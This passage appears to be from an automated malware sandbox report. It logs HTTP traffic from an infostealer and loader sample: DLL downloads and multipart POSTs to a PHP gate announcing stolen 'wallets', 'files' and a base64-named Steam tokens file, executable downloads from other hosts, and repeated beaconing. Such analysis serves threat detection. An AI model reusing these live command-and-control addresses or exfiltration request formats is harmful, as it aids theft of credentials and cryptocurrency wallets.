name="token"016d80ea197ba81336c5a0021cecee69fff2120cd453c36eec45ee39b96572972156f044------KKJKFBKKECFHJKEBKEHIContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------KKJKFBKKECFHJKEBKEHIContent-Disposition: form-data; name="file"------KKJKFBKKECFHJKEBKEHI--
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/freebl3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/mozglue.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/msvcp140.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/nss3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/softokn3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/vcruntime140.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKJKFBKKECFHJKEBKEHIHost: 85.28.47.4Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGIDGCGIEGDGDGDGHJKKHost: 85.28.47.4Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 31 36 64 38 30 65 61 31 39 37 62 61 38 31 33 33 36 63 35 61 30 30 32 31 63 65 63 65 65 36 39 66 66 66 32 31 32 30 63 64 34 35 33 63 33 36 65 65 63 34 35 65 65 33 39 62 39 36 35 37 32 39 37 32 31 35 36 66 30 34 34 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 4b 2d 2d 0d 0a Data Ascii: ------CGIDGCGIEGDGDGDGHJKKContent-Disposition: form-data; name="token"016d80ea197ba81336c5a0021cecee69fff2120cd453c36eec45ee39b96572972156f044------CGIDGCGIEGDGDGDGHJKKContent-Disposition: form-data; name="message"wallets------CGIDGCGIEGDGDGDGHJKK--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAKEBAKFHCFHIEBFBAFBHost: 85.28.47.4Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 45 42 41 4b 46 48 43 46 48 49 45 42 46 42 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 31 36 64 38 30 65 61 31 39 37 62 61 38 31 33 33 36 63 35 61 30 30 32 31 63 65 63 65 65 36 39 66 66 66 32 31 32 30 63 64 34 35 33 63 33 36 65 65 63 34 35 65 65 33 39 62 39 36 35 37 32 39 37 32 31 35 36 66 30 34 34 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 42 41 4b 46 48 43 46 48 49 45 42 46 42 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 42 41 4b 46 48 43 46 48 49 45 42 46 42 41 46 42 2d 2d 0d 0a Data Ascii: ------DAKEBAKFHCFHIEBFBAFBContent-Disposition: form-data; name="token"016d80ea197ba81336c5a0021cecee69fff2120cd453c36eec45ee39b96572972156f044------DAKEBAKFHCFHIEBFBAFBContent-Disposition: form-data; name="message"files------DAKEBAKFHCFHIEBFBAFB--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIDAFIEBFCBKFHIDHIJEHost: 85.28.47.4Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 31 36 64 38 30 65 61 31 39 37 62 61 38 31 33 33 36 63 35 61 30 30 32 31 63 65 63 65 65 36 39 66 66 66 32 31 32 30 63 64 34 35 33 63 33 36 65 65 63 34 35 65 65 33 39 62 39 36 35 37 32 39 37 32 31 35 36 66 30 34 34 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 2d 2d 0d 0a Data Ascii: ------FIDAFIEBFCBKFHIDHIJEContent-Disposition: form-data; name="token"016d80ea197ba81336c5a0021cecee69fff2120cd453c36eec45ee39b96572972156f044------FIDAFIEBFCBKFHIDHIJEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------FIDAFIEBFCBKFHIDHIJEContent-Disposition: form-data; name="file"------FIDAFIEBFCBKFHIDHIJE--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKJKFBKKECFHJKEBKEHIHost: 85.28.47.4Content-Length: 270Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 31 36 64 38 30 65 61 31 39 37 62 61 38 31 33 33 36 63 35 61 30 30 32 31 63 65 63 65 65 36 39 66 66 66 32 31 32 30 63 64 34 35 33 63 33 36 65 65 63 34 35 65 65 33 39 62 39 36 35 37 32 39 37 32 31 35 36 66 30 34 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 6a 62 64 74 61 69 6a 6f 76 67 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 2d 2d 0d 0a Data Ascii: ------KKJKFBKKECFHJKEBKEHIContent-Disposition: form-data; name="token"016d80ea197ba81336c5a0021cecee69fff2120cd453c36eec45ee39b96572972156f044------KKJKFBKKECFHJKEBKEHIContent-Disposition: form-data; name="message"jbdtaijovg------KKJKFBKKECFHJKEBKEHI--
Source: global traffic	HTTP traffic detected: GET /mine/amadka.exe HTTP/1.1Host: 77.91.77.81Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: GET /stealc/random.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCGCFCAFIIEBGCBFCAKKHost: 85.28.47.4Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 47 43 46 43 41 46 49 49 45 42 47 43 42 46 43 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 39 36 36 34 38 42 45 41 34 44 39 32 34 33 30 38 33 38 35 37 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 43 46 43 41 46 49 49 45 42 47 43 42 46 43 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6a 6f 6e 79 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 43 46 43 41 46 49 49 45 42 47 43 42 46 43 41 4b 4b 2d 2d 0d 0a Data Ascii: ------FCGCFCAFIIEBGCBFCAKKContent-Disposition: form-data; name="hwid"396648BEA4D9243083857------FCGCFCAFIIEBGCBFCAKKContent-Disposition: form-data; name="build"jony------FCGCFCAFIIEBGCBFCAKK--
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000006001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
